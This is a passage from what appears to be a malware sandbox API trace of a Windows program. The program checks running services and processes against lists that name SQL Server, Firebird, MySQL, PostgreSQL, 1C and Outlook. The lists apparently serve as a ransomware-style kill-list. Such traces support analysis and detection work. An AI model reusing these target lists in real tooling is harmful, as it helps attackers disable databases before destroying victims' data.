lstrlenW (lpString="RpcEptMapper") returned 12 [0040.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0040.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0040.373] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0040.373] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0040.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0040.373] lstrlenW (lpString="RpcSs") returned 5 [0040.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0040.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0040.373] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0040.373] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0040.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0040.373] lstrlenW (lpString="SamSs") returned 5 [0040.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0040.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0040.373] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0040.373] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0040.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0040.373] lstrlenW (lpString="Schedule") returned 8 [0040.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0040.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0040.374] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0040.374] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0040.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0040.374] lstrlenW (lpString="SENS") returned 4 [0040.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0040.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0040.374] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0040.374] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0040.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0040.374] lstrlenW (lpString="ShellHWDetection") returned 16 [0040.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0040.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0040.374] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0040.374] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0040.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0040.374] lstrlenW (lpString="Spooler") returned 7 [0040.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0040.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0040.374] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0040.374] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0040.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0040.374] lstrlenW (lpString="SysMain") returned 7 [0040.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0040.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0040.375] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0040.375] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0040.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0040.375] lstrlenW (lpString="Themes") returned 6 [0040.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0040.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0040.375] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0040.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0040.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0040.375] lstrlenW (lpString="TrkWks") returned 6 [0040.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0040.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0040.375] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0040.375] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0040.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0040.375] lstrlenW (lpString="UxSms") returned 5 [0040.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0040.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0040.375] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0040.375] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0040.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0040.375] lstrlenW (lpString="WdiServiceHost") returned 14 [0040.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0040.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0040.375] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0040.376] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0040.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0040.376] lstrlenW (lpString="WdiSystemHost") returned 13 [0040.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0040.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0040.376] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0040.376] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0040.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0040.376] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0040.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0040.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0040.376] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0040.376] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0040.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0040.376] lstrlenW (lpString="Winmgmt") returned 7 [0040.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0040.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0040.376] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0040.376] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0040.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0040.376] lstrlenW (lpString="WPDBusEnum") returned 10 [0040.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0040.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0040.376] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0040.376] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0040.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0040.376] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39616f8 | out: hHeap=0x510000) returned 1 [0040.377] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168 [0040.379] Process32FirstW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0040.379] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0040.380] lstrlenW (lpString="System") returned 6 [0040.380] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0040.380] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0040.380] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0040.380] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0040.380] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0040.380] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0040.380] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0040.380] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0040.381] lstrlenW (lpString="smss.exe") returned 8 [0040.381] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0040.381] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0040.381] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0040.381] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0040.381] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0040.381] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0040.381] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0040.381] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0040.381] lstrlenW (lpString="csrss.exe") returned 9 [0040.381] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0040.381] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0040.382] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0040.382] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0040.382] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0040.382] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0040.382] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0040.382] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0040.382] lstrlenW (lpString="wininit.exe") returned 11 [0040.382] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0040.382] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0040.382] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0040.382] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0040.382] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0040.382] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0040.382] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0040.382] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0040.383] lstrlenW (lpString="csrss.exe") returned 9 [0040.383] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0040.383] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0040.383] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0040.383] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0040.383] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0040.383] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0040.383] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0040.383] lstrlenW (lpString="winlogon.exe") returned 12 [0040.383] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0040.384] lstrlenW (lpString="services.exe") returned 12 [0040.384] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0040.384] lstrlenW (lpString="lsass.exe") returned 9 [0040.384] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0040.384] lstrlenW (lpString="lsm.exe") returned 7 [0040.384] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.384] lstrlenW (lpString="svchost.exe") returned 11 [0040.384] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.385] lstrlenW (lpString="svchost.exe") returned 11 [0040.385] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.385] lstrlenW (lpString="svchost.exe") returned 11 [0040.385] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.385] lstrlenW (lpString="svchost.exe") returned 11 [0040.385] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.386] lstrlenW (lpString="svchost.exe") returned 11 [0040.386] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0040.386] lstrlenW (lpString="audiodg.exe") returned 11 [0040.386] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.386] lstrlenW (lpString="svchost.exe") returned 11 [0040.386] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.387] lstrlenW (lpString="svchost.exe") returned 11 [0040.387] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0040.387] lstrlenW (lpString="dwm.exe") returned 7 [0040.387] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0040.387] lstrlenW (lpString="explorer.exe") returned 12 [0040.387] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0040.387] lstrlenW (lpString="spoolsv.exe") returned 11 [0040.387] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0040.388] lstrlenW (lpString="taskhost.exe") returned 12 [0040.388] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.388] lstrlenW (lpString="svchost.exe") returned 11 [0040.388] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0040.388] lstrlenW (lpString="taskeng.exe") returned 11 [0040.388] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0040.389] lstrlenW (lpString="taskhost.exe") returned 12 [0040.389] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0040.389] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0040.389] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0040.389] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0040.389] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0040.389] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0040.389] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0040.390] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0040.390] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0040.390] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0040.390] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0040.390] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0040.390] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0040.391] lstrlenW (lpString="toyota.exe") returned 10 [0040.391] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0040.391] lstrlenW (lpString="radiation.exe") returned 13 [0040.391] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0040.391] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0040.391] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0040.392] lstrlenW (lpString="ur illustration.exe") returned 19 [0040.392] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0040.392] lstrlenW (lpString="facing.exe") returned 10 [0040.392] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0040.392] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0040.392] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0040.393] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0040.393] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0040.393] lstrlenW (lpString="headline.exe") returned 12 [0040.393] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0040.393] lstrlenW (lpString="army_unsigned.exe") returned 17 [0040.393] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0040.394] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0040.394] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0040.394] lstrlenW (lpString="distribution-gif.exe") returned 20 [0040.394] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0040.394] lstrlenW (lpString="tribunal.exe") returned 12 [0040.394] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 